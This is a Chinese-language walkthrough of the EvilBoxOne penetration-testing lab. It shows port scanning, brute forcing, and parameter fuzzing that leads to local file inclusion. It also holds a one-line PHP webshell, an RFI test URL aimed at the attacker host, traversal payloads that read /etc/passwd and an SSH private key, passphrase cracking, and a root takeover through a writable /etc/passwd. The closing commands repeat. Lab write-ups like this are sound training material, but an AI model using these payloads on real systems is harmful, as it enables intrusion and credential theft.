渗透练习01
一、网站扫描
1.1 查看靶机开放端口
使用nmap
查看靶机开放的端口
nmap 192.168.123.169 -p- --min-rate 1000 -sV
开放了以下端口
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
1.2 端口分析
1.2.1 22 端口
利用hydra对root账号的密码进行爆破
hydra -l root -p /usr/share/wordlists/rockyou.txt ssh://192.168.123.169
未爆破成功
[DATA] attacking ssh://192.168.123.169:22/
1 of 1 target completed, 0 valid password found
1.2.2 80 端口
网页为Apache默认页面
1.3 目录扫描
1.3.1 gobuster工具扫描靶机IP目录
安装gobuster
下载地址
https://github.com/OJ/gobuster/releases/tag/v3.6.0
运行
┌──(kali㉿kali)-[~/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# chmod +x gobuster
┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# ./gobuster
利用 gobuster 对192.168.123.169进行目录扫描
┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# ./gobuster dir -u http://192.168.123.169 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
扫描结果
/robots.txt (Status: 200) [Size: 12]
/index.html (Status: 200) [Size: 10701]
/secret (Status: 301) [Size: 319] [--> http://192.168.123.169/secret/]
访问后,未发现可利用信息
字典 seclists 下载
┌──(root㉿kali)-[/usr/share]
└─# apt install seclists
1.3.2 爆破/secret下一级目录
继续爆破/secret的下一级目录
┌──(root㉿kali)-[/home/kali/Downloads/gobuster/gobuster_Linux_x86_64 ]
└─# ./gobuster dir -u http://192.168.123.169/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,html,jsp
扫描结果
/evil.php (Status: 200) [Size: 0]
访问为空白,查看源代码也没用
1.3.3 爆破参数
盲猜后面有参数,通过参数提交数据
对参数进行爆破
除了burp爆破,还可以使用kali自带工具ffuf
┌─(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w /home/kali/ce.txt:VAL -u http://192.168.123.169/secret/evil.php?PARAM=VAL -fs 0
-fs 0 过滤空内容页面
ffuf -w 参数字典 -w 值字典 -u url链接
结果为false,未爆破处参数和参数值
修改值为目标系统已确定存在的上一级目录文件index.html,先爆参数名
┌─(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.123.169/secret/evil.php?FUZZ=../index.html -fs 0
FUZZ 模糊测试
:: Progress: [872/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::: Progress: [1064/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 command [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 4ms]
:: Progress: [1224/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0
爆出存在command的参数名
且成功访问
二、漏洞利用
2.1.1 判断是否为文件包含漏洞
既然能访问…/index.html文件,意味着也许能访问evil.php,但访问发现并无内容
猜测此处可能存在文件包含漏洞,包含并执行了 PHP 代码文件
文件读取漏洞通常只允许读取文件内容,而不会执行文件内容
进一步测试
2.1.2 验证是否存在远程文件包含漏洞
kali机端开启远程服务
方法一:利用apache搭建简易的远程服务网站
┌──(kali㉿kali)-[~]
└─$ cd /var/www/html
┌──(kali㉿kali)-[~]
└─$ sudo vim a.php
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start apache2
a.php 内容为一句话webshell
<?php $var=shell_exec($_GET['cmd']);echo $var ?>
方法二:利用python 搭建
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
利用command参数访问kali的IP
192.168.123.169/secret/evil.php?command=http://192.168.123.30/a.php?cmd=id
并未返回kali机id信息,所以只存在本地文件包含,不存在远程文件包含
SSRF验证是看能否通过服务器发起请求访问外部或内部资源
2.1.3 利用封装协议看能否读取和写入文件
读取文件
192.168.123.169/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php
读取文件成功,内容为文件包含代码,进一步证实为文件包含漏洞
写入文件
┌──(kali@kali)-[/var/www/html]
└─$ echo -n 123 | base64
MTIZ
192.168.123.169/secret/evil.php?command=php:/filter/write=convert.base64-decode/resource=test.php&txt=MTIz
访问test.php,访问不到,说明写入失败
2.1.4 利用/etc/passwd文件中发现的mowree账号
尝试登陆该账号ssh
┌──(kali@kali)-[/var/www/html]
└─$ ssh mowree@192.168.123.169 -v
-v
为详细模式。如果你尝试连接到某个远程服务器但连接失败,使用ssh -v username@hostname
命令可以帮助你了解连接失败的具体原因,比如认证失败、网络问题、服务器配置错误等。
发现需要密码或公钥进行身份认证
debug1:Authentications that can continue:publickey,password
所以目标系统很可能存在公钥等文件,访问mowree账号可能存放公钥私钥文件默认路径
192.168.123.169/secret/evil.php?command=…/…/…/…/home/mowree/.ssh/authorized_keys
发现确实存在这样的公钥文件,且是rsa加密
那私钥文件很可能也存在
192.168.123.169/secret/evil.php?command=…/…/…/…/home/mowree/.ssh/id_rsa
将私钥内容复制,保存到kali机,文件名为id_rsa,无需后缀
┌──(kali㉿kali)-[~]
└─$ vim id_rsa
┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa //仅文件所有者拥有读、写权限
┌──(kali㉿kali)-[~]
└─$ ssh mowree@192.168.123.169 -i id_rsa
Enter passphrase for key 'id_rsa':
登录失败,只能使用john对私钥爆破
┌──(root㉿kali)-[/home/kali]
└─# ls /usr/share/john/ |grep ssh //筛选出能将ssh私钥转换成可处理格式的脚本
ssh2john.py
┌──(root㉿kali)-[/home/kali]
└─# /usr/share/john/ssh2john.py id_rsa > hashfile //处理完格式后存到hashfile文件
┌──(root㉿kali)-[/home/kali]
└─# cat hashfile
ssh2john.py:将SSH私钥文件转换为John the Ripper可以处理的格式
┌──(root㉿kali)-[/home/kali]
└─# john hashfile --wordlist=/usr/share/wordlists/rockyou.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn (seed)
1g 0:00:00:00 DONE (2024-08-07 04:27) 9.090g/s 11345p/s 11345c/s 11345C/s ramona..shirley
得到私钥的密钥为unicorn
三、提权
利用私钥和私钥的密钥登录ssh
──(root㉿kali)-[/home/kali]
└─# ssh -i /home/kali/id_rsa mowree@192.168.123.169
Enter passphrase for key '/home/kali/seed':
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
mowree@EvilBoxOne:~$ ls
user.txt
mowree@EvilBoxOne:~$ cat user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
mowree@EvilBoxOne:~$ crontab -l //查看计划任务
no crontab for mowree
mowree@EvilBoxOne:~$ sudo -l
-bash: sudo: orden no encontrada
mowree@EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
针对内核版本进行漏洞搜索
┌──(kali㉿kali)-[~]
└─$ searchsploit 4.19
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
Coppermine Photo Gallery 1.4.19 - Remote File Upload | php/webapps/7909.txt
H2 Database 1.4.196 - Remote Code Execution | java/webapps/45506.py
H2 Database 1.4.197 - Information Disclosure | linux/webapps/45105.py
H2 Database 1.4.199 - JNI Code Execution | java/local/49384.txt
Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read an | linux/dos/46477.txt
Linux Kernel 2.4.18/2.4.19 - Privileged File Descrip | linux/dos/21598.c
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47164.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47165.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47166.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ | linux/local/47167.sh
Marval MSM v14.19.0.12476 - Cross-Site Request Forge | windows/remote/50957.txt
Marval MSM v14.19.0.12476 - Remote Code Execution (R | windows/remote/50956.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results
找到几个可进行提权漏洞利用的模块,但尝试后不成功
继续找suid权限文件
mowree@EvilBoxOne:~$ find /-perm /4000 2>/dev/null
find /
: 从根目录开始查找。
-perm -4000
: 查找设置了SUID位的文件。-perm -2000
: 查找设置了SGID位的文件。-perm -6000
: 查找同时设置了SUID和SGID位的文件。
-type f
: 只查找文件,不查找目录。
2>/dev/null
: 忽略权限不足导致的错误消息。
发现都是系统默认的那些可执行文件,没有可利用的,可在自己kali机上运行这条命令,上面都有相同的这些文件
再找mowree权限可改写且root权限运行的文件
mowree@EvilBoxOne:~$ find -writable 2>/dev/null | grep -v proc
proc 是系统运行中动态生成的目录,可过滤该目录下文件
run和sys目录下也可不看
对筛选出mowree有写权限的文件一个个查看,其中/etc/passwd文件
竟发现任何用户都可对它进行改写
mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 3213 Aug 5 03:07 /etc/passwd
mowree@EvilBoxOne:~$ vi /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
用户名(mowree):该用户的登录名。
密码占位符(x):传统上,这里存放的是用户的加密密码,现在通常是一个占位符“x”,实际的密码信息存储在
/etc/shadow
文件中。用户ID(1000):系统分配给用户的唯一ID号。
组ID(1000):用户所属组的唯一ID号。
用户信息字段(mowree,):通常是用户的全名或其他描述信息。这一字段通常用于
finger
命令,显示用户的真实姓名和其他信息。字段中没有实际信息,所以是空的。主目录(/home/mowree):用户的主目录,登录后默认的工作目录。
登录Shell(/bin/bash):用户登录后使用的命令行解释器,通常是
/bin/bash
。
openssl工具用于生成符合 /etc/shadow
文件格式的密码,否则不能被文件识别
利用该工具加密一个密码,再复制到root账户x
位,才能成功修改root账户密码
mowree@EvilBoxOne:~$ openssl passwd -1 "123"
$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/
mowree@EvilBoxOne:~$ vi /etc/passwd
root:$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/:0:0:root:/root:/bin/bash
mowree@EvilBoxOne:~$ su root
Contraseña:
root@EvilBoxOne:/home/mowree# whoami
root
vi命令
按「ESC」键切换模式, 按「i」切换进入插入模式从光标当前位置开始输入
按「ESC」——ctrl+c_——d 删除字符
按「ESC」——ctrl+c_——
右箭头
移动选多个——d 删除多个字符
mowree@EvilBoxOne:~$ openssl passwd -1 "123"
$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/
mowree@EvilBoxOne:~$ vi /etc/passwd
root:$1$3JmyrMwY$CuEb3Mv1K/WvG5DAj1IgQ/:0:0:root:/root:/bin/bash
mowree@EvilBoxOne:~$ su root
Contraseña:
root@EvilBoxOne:/home/mowree# whoami
root
vi命令
按「ESC」键切换模式, 按「i」切换进入插入模式从光标当前位置开始输入
按「ESC」——ctrl+c_——d 删除字符
按「ESC」——ctrl+c_——
右箭头
移动选多个——d 删除多个字符u 撤回上一步骤